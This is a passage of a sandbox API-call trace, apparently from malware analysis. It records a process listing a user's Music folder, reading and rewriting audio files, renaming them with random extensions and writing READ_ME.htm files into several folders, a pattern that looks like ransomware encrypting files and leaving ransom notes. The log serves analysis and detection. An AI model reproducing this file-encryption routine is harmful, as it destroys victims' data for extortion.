ftLastAccessTime.dwHighDateTime=0x1d8b3d1, ftLastWriteTime.dwLowDateTime=0xf7baa250, ftLastWriteTime.dwHighDateTime=0x1d8b3d1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0155.912] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b3142e0, ftCreationTime.dwHighDateTime=0x1d8bd57, ftLastAccessTime.dwLowDateTime=0xe5cc5f60, ftLastAccessTime.dwHighDateTime=0x1d8bef9, ftLastWriteTime.dwLowDateTime=0xe5cc5f60, ftLastWriteTime.dwHighDateTime=0x1d8bef9, nFileSizeHigh=0x0, nFileSizeLow=0x5be8, dwReserved0=0x0, dwReserved1=0x0, cFileName="cv3s9uUwYD6SC3je.wav", cAlternateFileName="CV3S9U~1.WAV")) returned 1 [0155.912] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11457bd0, ftCreationTime.dwHighDateTime=0x1d8b186, ftLastAccessTime.dwLowDateTime=0x504d7d80, ftLastAccessTime.dwHighDateTime=0x1d8c097, ftLastWriteTime.dwLowDateTime=0x504d7d80, ftLastWriteTime.dwHighDateTime=0x1d8c097, nFileSizeHigh=0x0, nFileSizeLow=0xc2d9, dwReserved0=0x0, dwReserved1=0x0, cFileName="fCdx5xnnjCbAmDk.m4a", cAlternateFileName="FCDX5X~1.M4A")) returned 1 [0155.912] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fd0d290, ftCreationTime.dwHighDateTime=0x1d8bafb, ftLastAccessTime.dwLowDateTime=0x659b8d40, ftLastAccessTime.dwHighDateTime=0x1d8bcc2, ftLastWriteTime.dwLowDateTime=0x659b8d40, ftLastWriteTime.dwHighDateTime=0x1d8bcc2, nFileSizeHigh=0x0, nFileSizeLow=0x3881, dwReserved0=0x0, dwReserved1=0x0, cFileName="lLRYYQqTXMCWfW1I.mp3", cAlternateFileName="LLRYYQ~1.MP3")) returned 1 [0155.912] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x849e5c60, ftCreationTime.dwHighDateTime=0x1d8b13a, ftLastAccessTime.dwLowDateTime=0xc195d850, ftLastAccessTime.dwHighDateTime=0x1d8be00, ftLastWriteTime.dwLowDateTime=0xc195d850, ftLastWriteTime.dwHighDateTime=0x1d8be00, nFileSizeHigh=0x0, nFileSizeLow=0xa66e, dwReserved0=0x0, dwReserved1=0x0, cFileName="xEnzmTd-.m4a", cAlternateFileName="")) returned 1 [0155.912] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x849e5c60, ftCreationTime.dwHighDateTime=0x1d8b13a, ftLastAccessTime.dwLowDateTime=0xc195d850, ftLastAccessTime.dwHighDateTime=0x1d8be00, ftLastWriteTime.dwLowDateTime=0xc195d850, ftLastWriteTime.dwHighDateTime=0x1d8be00, nFileSizeHigh=0x0, nFileSizeLow=0xa66e, dwReserved0=0x0, dwReserved1=0x0, cFileName="xEnzmTd-.m4a", cAlternateFileName="")) returned 0 [0155.912] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0155.913] SetErrorMode (uMode=0x0) returned 0x1 [0155.913] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\fXs7dyEh5KRVvZ0H\\3WvCbF", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\fXs7dyEh5KRVvZ0H\\3WvCbF", lpFilePart=0x0) returned 0x30 [0155.913] SetErrorMode (uMode=0x1) returned 0x0 [0155.913] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\fXs7dyEh5KRVvZ0H\\3WvCbF\\*" (normalized: "c:\\users\\keecfmwgj\\music\\fxs7dyeh5krvvz0h\\3wvcbf\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x41434bd0, ftCreationTime.dwHighDateTime=0x1d8b1a1, ftLastAccessTime.dwLowDateTime=0xf7baa250, ftLastAccessTime.dwHighDateTime=0x1d8b3d1, ftLastWriteTime.dwLowDateTime=0xf7baa250, ftLastWriteTime.dwHighDateTime=0x1d8b3d1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0155.914] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x41434bd0, ftCreationTime.dwHighDateTime=0x1d8b1a1, ftLastAccessTime.dwLowDateTime=0xf7baa250, ftLastAccessTime.dwHighDateTime=0x1d8b3d1, ftLastWriteTime.dwLowDateTime=0xf7baa250, ftLastWriteTime.dwHighDateTime=0x1d8b3d1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0155.914] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b3142e0, ftCreationTime.dwHighDateTime=0x1d8bd57, ftLastAccessTime.dwLowDateTime=0xe5cc5f60, ftLastAccessTime.dwHighDateTime=0x1d8bef9, ftLastWriteTime.dwLowDateTime=0xe5cc5f60, ftLastWriteTime.dwHighDateTime=0x1d8bef9, nFileSizeHigh=0x0, nFileSizeLow=0x5be8, dwReserved0=0x0, dwReserved1=0x0, cFileName="cv3s9uUwYD6SC3je.wav", cAlternateFileName="CV3S9U~1.WAV")) returned 1 [0155.914] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11457bd0, ftCreationTime.dwHighDateTime=0x1d8b186, ftLastAccessTime.dwLowDateTime=0x504d7d80, ftLastAccessTime.dwHighDateTime=0x1d8c097, ftLastWriteTime.dwLowDateTime=0x504d7d80, ftLastWriteTime.dwHighDateTime=0x1d8c097, nFileSizeHigh=0x0, nFileSizeLow=0xc2d9, dwReserved0=0x0, dwReserved1=0x0, cFileName="fCdx5xnnjCbAmDk.m4a", cAlternateFileName="FCDX5X~1.M4A")) returned 1 [0155.914] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fd0d290, ftCreationTime.dwHighDateTime=0x1d8bafb, ftLastAccessTime.dwLowDateTime=0x659b8d40, ftLastAccessTime.dwHighDateTime=0x1d8bcc2, ftLastWriteTime.dwLowDateTime=0x659b8d40, ftLastWriteTime.dwHighDateTime=0x1d8bcc2, nFileSizeHigh=0x0, nFileSizeLow=0x3881, dwReserved0=0x0, dwReserved1=0x0, cFileName="lLRYYQqTXMCWfW1I.mp3", cAlternateFileName="LLRYYQ~1.MP3")) returned 1 [0155.914] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x849e5c60, ftCreationTime.dwHighDateTime=0x1d8b13a, ftLastAccessTime.dwLowDateTime=0xc195d850, ftLastAccessTime.dwHighDateTime=0x1d8be00, ftLastWriteTime.dwLowDateTime=0xc195d850, ftLastWriteTime.dwHighDateTime=0x1d8be00, nFileSizeHigh=0x0, nFileSizeLow=0xa66e, dwReserved0=0x0, dwReserved1=0x0, cFileName="xEnzmTd-.m4a", cAlternateFileName="")) returned 1 [0155.914] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x849e5c60, ftCreationTime.dwHighDateTime=0x1d8b13a, ftLastAccessTime.dwLowDateTime=0xc195d850, ftLastAccessTime.dwHighDateTime=0x1d8be00, ftLastWriteTime.dwLowDateTime=0xc195d850, ftLastWriteTime.dwHighDateTime=0x1d8be00, nFileSizeHigh=0x0, nFileSizeLow=0xa66e, dwReserved0=0x0, dwReserved1=0x0, cFileName="xEnzmTd-.m4a", cAlternateFileName="")) returned 0 [0155.914] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0155.915] SetErrorMode (uMode=0x0) returned 0x1 [0155.915] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\fXs7dyEh5KRVvZ0H\\3WvCbF\\fCdx5xnnjCbAmDk.m4a", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\fXs7dyEh5KRVvZ0H\\3WvCbF\\fCdx5xnnjCbAmDk.m4a", lpFilePart=0x0) returned 0x44 [0155.915] SetErrorMode (uMode=0x1) returned 0x0 [0155.915] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\fXs7dyEh5KRVvZ0H\\3WvCbF\\fCdx5xnnjCbAmDk.m4a" (normalized: "c:\\users\\keecfmwgj\\music\\fxs7dyeh5krvvz0h\\3wvcbf\\fcdx5xnnjcbamdk.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0155.915] GetFileType (hFile=0x1d0) returned 0x1 [0155.915] SetErrorMode (uMode=0x0) returned 0x1 [0155.915] GetFileType (hFile=0x1d0) returned 0x1 [0155.915] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d478 | out: lpFileSizeHigh=0x21d478*=0x0) returned 0xc2d9 [0155.916] ReadFile (in: hFile=0x1d0, lpBuffer=0x28958c8, nNumberOfBytesToRead=0xc2d9, lpNumberOfBytesRead=0x21d358, lpOverlapped=0x0 | out: lpBuffer=0x28958c8*, lpNumberOfBytesRead=0x21d358*=0xc2d9, lpOverlapped=0x0) returned 1 [0155.939] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\fXs7dyEh5KRVvZ0H\\3WvCbF\\fCdx5xnnjCbAmDk.m4a", nBufferLength=0x105, lpBuffer=0x21ce20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\fXs7dyEh5KRVvZ0H\\3WvCbF\\fCdx5xnnjCbAmDk.m4a", lpFilePart=0x0) returned 0x44 [0155.940] SetErrorMode (uMode=0x1) returned 0x0 [0155.940] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\fXs7dyEh5KRVvZ0H\\3WvCbF\\fCdx5xnnjCbAmDk.m4a" (normalized: "c:\\users\\keecfmwgj\\music\\fxs7dyeh5krvvz0h\\3wvcbf\\fcdx5xnnjcbamdk.m4a"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0155.942] GetFileType (hFile=0x1d0) returned 0x1 [0155.942] SetErrorMode (uMode=0x0) returned 0x1 [0155.942] GetFileType (hFile=0x1d0) returned 0x1 [0155.942] WriteFile (in: hFile=0x1d0, lpBuffer=0x2999f90*, nNumberOfBytesToWrite=0xc2e0, lpNumberOfBytesWritten=0x21d3d8, lpOverlapped=0x0 | out: lpBuffer=0x2999f90*, lpNumberOfBytesWritten=0x21d3d8*=0xc2e0, lpOverlapped=0x0) returned 1 [0155.944] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\fXs7dyEh5KRVvZ0H\\3WvCbF\\fCdx5xnnjCbAmDk.m4a", nBufferLength=0x105, lpBuffer=0x21d0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\fXs7dyEh5KRVvZ0H\\3WvCbF\\fCdx5xnnjCbAmDk.m4a", lpFilePart=0x0) returned 0x44 [0155.945] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\fXs7dyEh5KRVvZ0H\\3WvCbF\\fCdx5xnnjCbAmDk.m4a.fspovq", nBufferLength=0x105, lpBuffer=0x21d0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\fXs7dyEh5KRVvZ0H\\3WvCbF\\fCdx5xnnjCbAmDk.m4a.fspovq", lpFilePart=0x0) returned 0x4b [0155.945] SetErrorMode (uMode=0x1) returned 0x0 [0155.945] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\fXs7dyEh5KRVvZ0H\\3WvCbF\\fCdx5xnnjCbAmDk.m4a" (normalized: "c:\\users\\keecfmwgj\\music\\fxs7dyeh5krvvz0h\\3wvcbf\\fcdx5xnnjcbamdk.m4a"), fInfoLevelId=0x0, lpFileInformation=0x21d300 | out: lpFileInformation=0x21d300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11457bd0, ftCreationTime.dwHighDateTime=0x1d8b186, ftLastAccessTime.dwLowDateTime=0x504d7d80, ftLastAccessTime.dwHighDateTime=0x1d8c097, ftLastWriteTime.dwLowDateTime=0x596e6040, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0xc2e0)) returned 1 [0155.945] SetErrorMode (uMode=0x0) returned 0x1 [0155.945] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Music\\fXs7dyEh5KRVvZ0H\\3WvCbF\\fCdx5xnnjCbAmDk.m4a" (normalized: "c:\\users\\keecfmwgj\\music\\fxs7dyeh5krvvz0h\\3wvcbf\\fcdx5xnnjcbamdk.m4a"), lpNewFileName="C:\\Users\\kEecfMwgj\\Music\\fXs7dyEh5KRVvZ0H\\3WvCbF\\fCdx5xnnjCbAmDk.m4a.fspovq" (normalized: "c:\\users\\keecfmwgj\\music\\fxs7dyeh5krvvz0h\\3wvcbf\\fcdx5xnnjcbamdk.m4a.fspovq")) returned 1 [0155.946] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\fXs7dyEh5KRVvZ0H\\3WvCbF\\xEnzmTd-.m4a", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\fXs7dyEh5KRVvZ0H\\3WvCbF\\xEnzmTd-.m4a", lpFilePart=0x0) returned 0x3d [0155.946] SetErrorMode (uMode=0x1) returned 0x0 [0155.946] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\fXs7dyEh5KRVvZ0H\\3WvCbF\\xEnzmTd-.m4a" (normalized: "c:\\users\\keecfmwgj\\music\\fxs7dyeh5krvvz0h\\3wvcbf\\xenzmtd-.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0155.947] GetFileType (hFile=0x1d0) returned 0x1 [0155.947] SetErrorMode (uMode=0x0) returned 0x1 [0155.947] GetFileType (hFile=0x1d0) returned 0x1 [0155.947] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d478 | out: lpFileSizeHigh=0x21d478*=0x0) returned 0xa66e [0155.947] ReadFile (in: hFile=0x1d0, lpBuffer=0x29a7268, nNumberOfBytesToRead=0xa66e, lpNumberOfBytesRead=0x21d358, lpOverlapped=0x0 | out: lpBuffer=0x29a7268*, lpNumberOfBytesRead=0x21d358*=0xa66e, lpOverlapped=0x0) returned 1 [0156.048] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\fXs7dyEh5KRVvZ0H\\3WvCbF\\xEnzmTd-.m4a", nBufferLength=0x105, lpBuffer=0x21ce20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\fXs7dyEh5KRVvZ0H\\3WvCbF\\xEnzmTd-.m4a", lpFilePart=0x0) returned 0x3d [0156.048] SetErrorMode (uMode=0x1) returned 0x0 [0156.049] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\fXs7dyEh5KRVvZ0H\\3WvCbF\\xEnzmTd-.m4a" (normalized: "c:\\users\\keecfmwgj\\music\\fxs7dyeh5krvvz0h\\3wvcbf\\xenzmtd-.m4a"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0156.051] GetFileType (hFile=0x1d0) returned 0x1 [0156.051] SetErrorMode (uMode=0x0) returned 0x1 [0156.051] GetFileType (hFile=0x1d0) returned 0x1 [0156.051] WriteFile (in: hFile=0x1d0, lpBuffer=0x28b0950*, nNumberOfBytesToWrite=0xa670, lpNumberOfBytesWritten=0x21d3d8, lpOverlapped=0x0 | out: lpBuffer=0x28b0950*, lpNumberOfBytesWritten=0x21d3d8*=0xa670, lpOverlapped=0x0) returned 1 [0156.053] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\fXs7dyEh5KRVvZ0H\\3WvCbF\\xEnzmTd-.m4a", nBufferLength=0x105, lpBuffer=0x21d0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\fXs7dyEh5KRVvZ0H\\3WvCbF\\xEnzmTd-.m4a", lpFilePart=0x0) returned 0x3d [0156.053] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\fXs7dyEh5KRVvZ0H\\3WvCbF\\xEnzmTd-.m4a.dsvy3z", nBufferLength=0x105, lpBuffer=0x21d0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\fXs7dyEh5KRVvZ0H\\3WvCbF\\xEnzmTd-.m4a.dsvy3z", lpFilePart=0x0) returned 0x44 [0156.053] SetErrorMode (uMode=0x1) returned 0x0 [0156.053] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\fXs7dyEh5KRVvZ0H\\3WvCbF\\xEnzmTd-.m4a" (normalized: "c:\\users\\keecfmwgj\\music\\fxs7dyeh5krvvz0h\\3wvcbf\\xenzmtd-.m4a"), fInfoLevelId=0x0, lpFileInformation=0x21d300 | out: lpFileInformation=0x21d300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x849e5c60, ftCreationTime.dwHighDateTime=0x1d8b13a, ftLastAccessTime.dwLowDateTime=0xc195d850, ftLastAccessTime.dwHighDateTime=0x1d8be00, ftLastWriteTime.dwLowDateTime=0x597f09e0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0xa670)) returned 1 [0156.053] SetErrorMode (uMode=0x0) returned 0x1 [0156.053] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Music\\fXs7dyEh5KRVvZ0H\\3WvCbF\\xEnzmTd-.m4a" (normalized: "c:\\users\\keecfmwgj\\music\\fxs7dyeh5krvvz0h\\3wvcbf\\xenzmtd-.m4a"), lpNewFileName="C:\\Users\\kEecfMwgj\\Music\\fXs7dyEh5KRVvZ0H\\3WvCbF\\xEnzmTd-.m4a.dsvy3z" (normalized: "c:\\users\\keecfmwgj\\music\\fxs7dyeh5krvvz0h\\3wvcbf\\xenzmtd-.m4a.dsvy3z")) returned 1 [0156.056] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\fXs7dyEh5KRVvZ0H\\3WvCbF\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\fXs7dyEh5KRVvZ0H\\3WvCbF\\READ_ME.htm", lpFilePart=0x0) returned 0x3c [0156.056] SetErrorMode (uMode=0x1) returned 0x0 [0156.056] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\fXs7dyEh5KRVvZ0H\\3WvCbF\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\music\\fxs7dyeh5krvvz0h\\3wvcbf\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0156.057] GetFileType (hFile=0x1d0) returned 0x1 [0156.057] SetErrorMode (uMode=0x0) returned 0x1 [0156.057] GetFileType (hFile=0x1d0) returned 0x1 [0156.057] WriteFile (in: hFile=0x1d0, lpBuffer=0x28bf0e0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x28bf0e0*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0156.059] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\fXs7dyEh5KRVvZ0H\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\fXs7dyEh5KRVvZ0H\\READ_ME.htm", lpFilePart=0x0) returned 0x35 [0156.059] SetErrorMode (uMode=0x1) returned 0x0 [0156.059] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\fXs7dyEh5KRVvZ0H\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\music\\fxs7dyeh5krvvz0h\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0156.059] GetFileType (hFile=0x1d0) returned 0x1 [0156.060] SetErrorMode (uMode=0x0) returned 0x1 [0156.060] GetFileType (hFile=0x1d0) returned 0x1 [0156.060] WriteFile (in: hFile=0x1d0, lpBuffer=0x28c3680*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x28c3680*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0156.061] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\READ_ME.htm", lpFilePart=0x0) returned 0x24 [0156.061] SetErrorMode (uMode=0x1) returned 0x0 [0156.062] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\music\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0156.063] GetFileType (hFile=0x1d0) returned 0x1 [0156.063] SetErrorMode (uMode=0x0) returned 0x1 [0156.063] GetFileType (hFile=0x1d0) returned 0x1 [0156.063] WriteFile (in: hFile=0x1d0, lpBuffer=0x28c7be0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x28c7be0*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0156.064] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\My Documents", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\My Documents", lpFilePart=0x0) returned 0x1f [0156.064] SetErrorMode (uMode=0x1) returned 0x0 [0156.065] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\My Documents\\*" (normalized: "c:\\users\\keecfmwgj\\my documents\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0156.078] SetErrorMode (uMode=0x0) returned 0x1 [0156.080] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\My Documents\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\My Documents\\READ_ME.htm", lpFilePart=0x0) returned 0x2b [0156.080] SetErrorMode (uMode=0x1) returned 0x0 [0156.081] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\My Documents\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\my documents\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0156.082] GetFileType (hFile=0x1d0) returned 0x1 [0156.082] SetErrorMode (uMode=0x0) returned 0x1 [0156.082] GetFileType (hFile=0x1d0) returned 0x1 [0156.082] WriteFile (in: hFile=0x1d0, lpBuffer=0x28cd558*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x28cd558*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0156.084] CloseHandle (hObject=0x1d0) returned 1 [0156.084] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\NetHood", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\NetHood", lpFilePart=0x0) returned 0x1a [0156.084] SetErrorMode (uMode=0x1) returned 0x0 [0156.084] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\NetHood\\*" (normalized: "c:\\users\\keecfmwgj\\nethood\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0156.087] SetErrorMode (uMode=0x0) returned 0x1 [0156.089] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\NetHood\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\NetHood\\READ_ME.htm", lpFilePart=0x0) returned 0x26 [0156.089] SetErrorMode (uMode=0x1) returned 0x0 [0156.089] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\NetHood\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\nethood\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0156.093] GetFileType (hFile=0x1d0) returned 0x1 [0156.094] SetErrorMode (uMode=0x0) returned 0x1 [0156.094] GetFileType (hFile=0x1d0) returned 0x1 [0156.094] WriteFile (in: hFile=0x1d0, lpBuffer=0x28d2e90*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x28d2e90*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0156.095] CloseHandle (hObject=0x1d0) returned 1 [0156.096] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\OneDrive", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\OneDrive", lpFilePart=0x0) returned 0x1b [0156.096] SetErrorMode (uMode=0x1) returned 0x0 [0156.096] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\OneDrive\\*" (normalized: "c:\\users\\keecfmwgj\\onedrive\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xf29f86d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf2a44990, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf2a44990, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0156.098] FindNextFileW (in: hFindFile=0x2fe5d0, 